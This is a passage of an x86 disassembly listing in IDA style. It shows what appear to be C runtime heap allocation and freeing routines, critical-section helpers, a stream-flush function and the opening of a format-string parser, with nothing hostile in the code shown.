		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_42D4E9
; ---------------------------------------------------------------------------


loc_42D50D:				; CODE XREF: sub_42D3F9+F7j
		mov	eax, esi
		jmp	short loc_42D538
; ---------------------------------------------------------------------------


loc_42D511:				; CODE XREF: sub_42D3F9+63j
		push	8000h
		push	0
		push	edi
		call	dword_437198	; VirtualFree


loc_42D51F:				; CODE XREF: sub_42D3F9+4Bj
		cmp	esi, offset off_451150
		jz	short loc_42D536
		push	esi
		push	0
		push	dword_677000
		call	dword_437214	; RtlFreeHeap


loc_42D536:				; CODE XREF: sub_42D3F9+2Bj
					; sub_42D3F9+12Cj
		xor	eax, eax


loc_42D538:				; CODE XREF: sub_42D3F9+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42D3F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D53D	proc near		; CODE XREF: sub_42D593+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_437198	; VirtualFree
		cmp	off_453170, esi
		jnz	short loc_42D562
		mov	eax, [esi+4]
		mov	off_453170, eax


loc_42D562:				; CODE XREF: sub_42D53D+1Bj
		cmp	esi, offset off_451150
		jz	short loc_42D58A
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_677000
		call	dword_437214	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D58A:				; CODE XREF: sub_42D53D+2Bj
		or	dword_451160, 0FFFFFFFFh
		pop	esi
		retn
sub_42D53D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D593	proc near		; CODE XREF: sub_42D6AC+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_451154
		push	edi


loc_42D5A0:				; CODE XREF: sub_42D593+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_42D63E
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_42D5B9:				; CODE XREF: sub_42D593+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_42D5FA
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_437198	; VirtualFree
		test	eax, eax
		jz	short loc_42D5FA
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_676938
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_42D5EF
		cmp	eax, edi
		jbe	short loc_42D5F2


loc_42D5EF:				; CODE XREF: sub_42D593+56j
		mov	[esi+0Ch], edi


loc_42D5F2:				; CODE XREF: sub_42D593+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_42D607


loc_42D5FA:				; CODE XREF: sub_42D593+2Cj
					; sub_42D593+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_42D5B9


loc_42D607:				; CODE XREF: sub_42D593+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_42D63E
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_42D63E
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_42D61E:				; CODE XREF: sub_42D593+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_42D62F
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_42D61E


loc_42D62F:				; CODE XREF: sub_42D593+8Ej
		cmp	edx, 400h
		jnz	short loc_42D63E
		push	ecx
		call	sub_42D53D
		pop	ecx


loc_42D63E:				; CODE XREF: sub_42D593+11j
					; sub_42D593+7Dj ...
		cmp	esi, off_451154
		jz	short loc_42D650
		cmp	[ebp+arg_0], 0
		jg	loc_42D5A0


loc_42D650:				; CODE XREF: sub_42D593+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D593	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D655	proc near		; CODE XREF: sub_4298F2+90p
					; sub_431C83+1D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_451150
		push	esi
		mov	ecx, edx


loc_42D661:				; CODE XREF: sub_42D655+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_42D66B
		cmp	eax, [ecx+14h]
		jb	short loc_42D673


loc_42D66B:				; CODE XREF: sub_42D655+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_42D6A8
		jmp	short loc_42D661
; ---------------------------------------------------------------------------


loc_42D673:				; CODE XREF: sub_42D655+14j
		test	al, 0Fh
		jnz	short loc_42D6A8
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_42D6A8
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_42D6A8:				; CODE XREF: sub_42D655+1Aj
					; sub_42D655+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_42D655	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D6AC	proc near		; CODE XREF: sub_4298F2+A6p
					; sub_431C83+246p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_42D6F0
		inc	dword_676938
		cmp	dword_676938, 20h
		jnz	short locret_42D6F0
		push	10h
		call	sub_42D593
		pop	ecx

locret_42D6F0:				; CODE XREF: sub_42D6AC+2Bj
					; sub_42D6AC+3Aj
		retn
sub_42D6AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D6F1	proc near		; CODE XREF: sub_4297F6+A7p
					; sub_42B39A+C4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_453170
		push	edi


loc_42D6FF:				; CODE XREF: sub_42D6F1+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_42D7AA
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_42D764


loc_42D72A:				; CODE XREF: sub_42D6F1+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_42D74D
		cmp	[edi+4], ebx
		jbe	short loc_42D74D
		push	ebx
		push	ecx
		push	eax
		call	sub_42D8F9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D7BC
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_42D74D:				; CODE XREF: sub_42D6F1+40j
					; sub_42D6F1+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_42D72A
		jmp	short loc_42D767
; ---------------------------------------------------------------------------


loc_42D764:				; CODE XREF: sub_42D6F1+37j
		mov	ebx, [ebp+arg_0]


loc_42D767:				; CODE XREF: sub_42D6F1+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_42D7AD


loc_42D77A:				; CODE XREF: sub_42D6F1+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_42D799
		cmp	[edi+4], ebx
		jbe	short loc_42D799
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_42D8F9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D7BC
		mov	[edi+4], ebx


loc_42D799:				; CODE XREF: sub_42D6F1+8Dj
					; sub_42D6F1+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_42D77A
		jmp	short loc_42D7AD
; ---------------------------------------------------------------------------


loc_42D7AA:				; CODE XREF: sub_42D6F1+14j
		mov	ebx, [ebp+arg_0]


loc_42D7AD:				; CODE XREF: sub_42D6F1+87j
					; sub_42D6F1+B7j
		mov	esi, [esi]
		cmp	esi, off_453170
		jz	short loc_42D7CC
		jmp	loc_42D6FF
; ---------------------------------------------------------------------------


loc_42D7BC:				; CODE XREF: sub_42D6F1+54j
					; sub_42D6F1+A3j
		mov	off_453170, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_42D8F4
; ---------------------------------------------------------------------------


loc_42D7CC:				; CODE XREF: sub_42D6F1+C4j
		mov	eax, offset off_451150
		mov	edi, eax


loc_42D7D3:				; CODE XREF: sub_42D6F1+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_42D7DF
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_42D7EB


loc_42D7DF:				; CODE XREF: sub_42D6F1+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_42D8C0
		jmp	short loc_42D7D3
; ---------------------------------------------------------------------------


loc_42D7EB:				; CODE XREF: sub_42D6F1+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_42D81A


loc_42D809:				; CODE XREF: sub_42D6F1+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_42D81A
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42D809


loc_42D81A:				; CODE XREF: sub_42D6F1+116j
					; sub_42D6F1+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_437194	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_42D8F2
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_429760
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_42D881
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_42D857:				; CODE XREF: sub_42D6F1+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_42D857


loc_42D881:				; CODE XREF: sub_42D6F1+15Ej
		mov	off_453170, edi
		lea	eax, [edi+2018h]


loc_42D88D:				; CODE XREF: sub_42D6F1+1A8j
		cmp	ecx, eax
		jnb	short loc_42D89D
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_42D89B
		add	ecx, 8
		jmp	short loc_42D88D
; ---------------------------------------------------------------------------


loc_42D89B:				; CODE XREF: sub_42D6F1+1A3j
		cmp	ecx, eax


loc_42D89D:				; CODE XREF: sub_42D6F1+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_42D8F4
; ---------------------------------------------------------------------------


loc_42D8C0:				; CODE XREF: sub_42D6F1+F2j
		call	sub_42D3F9
		test	eax, eax
		jz	short loc_42D8F2
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_453170, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_42D8F4
; ---------------------------------------------------------------------------


loc_42D8F2:				; CODE XREF: sub_42D6F1+143j
					; sub_42D6F1+1D6j
		xor	eax, eax


loc_42D8F4:				; CODE XREF: sub_42D6F1+D6j
					; sub_42D6F1+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D6F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D8F9	proc near		; CODE XREF: sub_42D6F1+4Ap
					; sub_42D6F1+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_42D93E
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_42D92D
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_42D936
; ---------------------------------------------------------------------------


loc_42D92D:				; CODE XREF: sub_42D8F9+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_42D936:				; CODE XREF: sub_42D8F9+32j
		lea	eax, [edi+8]
		jmp	loc_42DA0C
; ---------------------------------------------------------------------------


loc_42D93E:				; CODE XREF: sub_42D8F9+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_42D947
		mov	eax, esi


loc_42D947:				; CODE XREF: sub_42D8F9+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_42D991


loc_42D94E:				; CODE XREF: sub_42D8F9+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_42D984
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_42D95A:				; CODE XREF: sub_42D8F9+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_42D963
		inc	ebx
		inc	esi
		jmp	short loc_42D95A
; ---------------------------------------------------------------------------


loc_42D963:				; CODE XREF: sub_42D8F9+64j
		cmp	esi, edx
		jnb	short loc_42D9B5
		cmp	eax, [ebp+var_4]
		jnz	short loc_42D971
		mov	[ecx+4], esi
		jmp	short loc_42D97D
; ---------------------------------------------------------------------------


loc_42D971:				; CODE XREF: sub_42D8F9+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_42DA16


loc_42D97D:				; CODE XREF: sub_42D8F9+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_42D989
; ---------------------------------------------------------------------------


loc_42D984:				; CODE XREF: sub_42D8F9+59j
		movzx	esi, bl
		add	eax, esi


loc_42D989:				; CODE XREF: sub_42D8F9+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_42D94E


loc_42D991:				; CODE XREF: sub_42D8F9+53j
		lea	esi, [ecx+8]


loc_42D994:				; CODE XREF: sub_42D8F9+EBj
					; sub_42D8F9+F2j
		cmp	esi, edi
		jnb	short loc_42DA16
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_42DA16
		mov	al, [esi]
		test	al, al
		jnz	short loc_42D9E6
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_42D9AC:				; CODE XREF: sub_42D8F9+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_42D9D6
		inc	ebx
		inc	eax
		jmp	short loc_42D9AC
; ---------------------------------------------------------------------------


loc_42D9B5:				; CODE XREF: sub_42D8F9+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_42D9C6
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_42D9CF
; ---------------------------------------------------------------------------


loc_42D9C6:				; CODE XREF: sub_42D8F9+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_42D9CF:				; CODE XREF: sub_42D8F9+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_42DA0C
; ---------------------------------------------------------------------------


loc_42D9D6:				; CODE XREF: sub_42D8F9+B6j
		cmp	eax, edx
		jnb	short loc_42D9ED
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_42DA16
		mov	esi, ebx
		jmp	short loc_42D994
; ---------------------------------------------------------------------------


loc_42D9E6:				; CODE XREF: sub_42D8F9+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_42D994
; ---------------------------------------------------------------------------


loc_42D9ED:				; CODE XREF: sub_42D8F9+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_42D9FE
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_42DA07
; ---------------------------------------------------------------------------


loc_42D9FE:				; CODE XREF: sub_42D8F9+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_42DA07:				; CODE XREF: sub_42D8F9+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_42DA0C:				; CODE XREF: sub_42D8F9+40j
					; sub_42D8F9+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_42DA18
; ---------------------------------------------------------------------------


loc_42DA16:				; CODE XREF: sub_42D8F9+7Ej
					; sub_42D8F9+9Dj ...
		xor	eax, eax


loc_42DA18:				; CODE XREF: sub_42D8F9+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D8F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA1D	proc near		; CODE XREF: sub_431C83+202p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_42DA57
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_42DAB7
; ---------------------------------------------------------------------------


loc_42DA57:				; CODE XREF: sub_42DA1D+26j
		jnb	short loc_42DABE
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_42DABE
		lea	eax, [ecx+edx]


loc_42DA6C:				; CODE XREF: sub_42DA1D+59j
		cmp	eax, esi
		jnb	short loc_42DA7A
		cmp	byte ptr [eax],	0
		jnz	short loc_42DA78
		inc	eax
		jmp	short loc_42DA6C
; ---------------------------------------------------------------------------


loc_42DA78:				; CODE XREF: sub_42DA1D+56j
		cmp	eax, esi


loc_42DA7A:				; CODE XREF: sub_42DA1D+51j
		jnz	short loc_42DABE
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_42DAB2
		cmp	esi, eax
		jbe	short loc_42DAB2
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_42DAA9
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_42DAA4


loc_42DA9D:				; CODE XREF: sub_42DA1D+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_42DA9D


loc_42DAA4:				; CODE XREF: sub_42DA1D+7Ej
		mov	[ebx+4], eax
		jmp	short loc_42DAB2
; ---------------------------------------------------------------------------


loc_42DAA9:				; CODE XREF: sub_42DA1D+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_42DAB2:				; CODE XREF: sub_42DA1D+68j
					; sub_42DA1D+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_42DAB7:				; CODE XREF: sub_42DA1D+38j
		mov	[ebp+var_4], 1


loc_42DABE:				; CODE XREF: sub_42DA1D:loc_42DA57j
					; sub_42DA1D+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42DA1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42DAC6	proc near		; CODE XREF: sub_42E487+1p
		push	esi
		mov	esi, dword_437158
		push	off_4531BC
		call	esi ; dword_437158
		push	off_4531AC
		call	esi ; dword_437158
		push	off_45319C
		call	esi ; dword_437158
		push	off_45317C
		call	esi ; dword_437158
		pop	esi
		retn
sub_42DAC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DAEF	proc near		; CODE XREF: sub_4297F6+3Ep
					; sub_4297F6+94p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		cmp	dword_453178[eax*4], 0
		lea	esi, ds:453178h[eax*4]
		jnz	short loc_42DB45
		push	edi
		push	18h
		call	sub_4297B8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42DB1E
		push	11h
		call	sub_42C67C
		pop	ecx


loc_42DB1E:				; CODE XREF: sub_42DAEF+25j
		push	11h
		call	sub_42DAEF
		cmp	dword ptr [esi], 0
		pop	ecx
		push	edi
		jnz	short loc_42DB36
		call	dword_437158	; InitializeCriticalSection
		mov	[esi], edi
		jmp	short loc_42DB3C
; ---------------------------------------------------------------------------


loc_42DB36:				; CODE XREF: sub_42DAEF+3Bj
		call	sub_4298F2
		pop	ecx


loc_42DB3C:				; CODE XREF: sub_42DAEF+45j
		push	11h
		call	sub_42DB50
		pop	ecx
		pop	edi


loc_42DB45:				; CODE XREF: sub_42DAEF+16j
		push	dword ptr [esi]
		call	dword_4370CC	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_42DAEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB50	proc near		; CODE XREF: sub_42985D+2p
					; sub_4298BC+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	dword_453178[eax*4]
		call	dword_437164	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_42DB50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB65	proc near		; CODE XREF: sub_429B03+46p
					; sub_429BBE+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_42DC71
		test	al, 40h
		jnz	loc_42DC71
		test	al, 1
		jz	short loc_42DB9D
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_42DC71
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_42DB9D:				; CODE XREF: sub_42DB65+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_42DBD7
		cmp	esi, offset dword_450EE0
		jz	short loc_42DBC5
		cmp	esi, offset dword_450F00
		jnz	short loc_42DBD0


loc_42DBC5:				; CODE XREF: sub_42DB65+56j
		push	ebx
		call	sub_433237
		test	eax, eax
		pop	ecx
		jnz	short loc_42DBD7


loc_42DBD0:				; CODE XREF: sub_42DB65+5Ej
		push	esi
		call	sub_4331F3
		pop	ecx


loc_42DBD7:				; CODE XREF: sub_42DB65+4Ej
					; sub_42DB65+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_42DC47
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_42DC07
		push	edi
		push	eax
		push	ebx
		call	sub_43249C
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_42DC3D
; ---------------------------------------------------------------------------


loc_42DC07:				; CODE XREF: sub_42DB65+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_42DC25
		mov	ecx, ebx
		mov	eax, ebx
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_42DC2A
; ---------------------------------------------------------------------------


loc_42DC25:				; CODE XREF: sub_42DB65+A5j
		mov	eax, offset dword_4535D0


loc_42DC2A:				; CODE XREF: sub_42DB65+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_42DC3D
		push	2
		push	0
		push	ebx
		call	sub_42F8B8
		add	esp, 0Ch


loc_42DC3D:				; CODE XREF: sub_42DB65+A0j
					; sub_42DB65+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_42DC5B
; ---------------------------------------------------------------------------


loc_42DC47:				; CODE XREF: sub_42DB65+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_43249C
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_42DC5B:				; CODE XREF: sub_42DB65+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_42DC67
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_42DC76
; ---------------------------------------------------------------------------


loc_42DC67:				; CODE XREF: sub_42DB65+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_42DC79
; ---------------------------------------------------------------------------


loc_42DC71:				; CODE XREF: sub_42DB65+10j
					; sub_42DB65+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_42DC76:				; CODE XREF: sub_42DB65+100j
		or	eax, 0FFFFFFFFh


loc_42DC79:				; CODE XREF: sub_42DB65+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42DB65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC7D	proc near		; CODE XREF: sub_429B03+29p
					; sub_429BBE+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_42E396
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_42DCB1
; ---------------------------------------------------------------------------


loc_42DCA9:				; CODE XREF: sub_42DC7D+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_42DCB1:				; CODE XREF: sub_42DC7D+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_42E396
		cmp	bl, 20h
		jl	short loc_42DCD2
		cmp	bl, 78h
		jg	short loc_42DCD2
		movsx	eax, bl
		mov	al, [eax+4374DCh]
		and	eax, 0Fh
		jmp	short loc_42DCD4
; ---------------------------------------------------------------------------


loc_42DCD2:				; CODE XREF: sub_42DC7D+40j
					; sub_42DC7D+45j
		xor	eax, eax


loc_42DCD4:				; CODE XREF: sub_42DC7D+53j
		movsx	eax, byte_4374FC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_42E385	; default
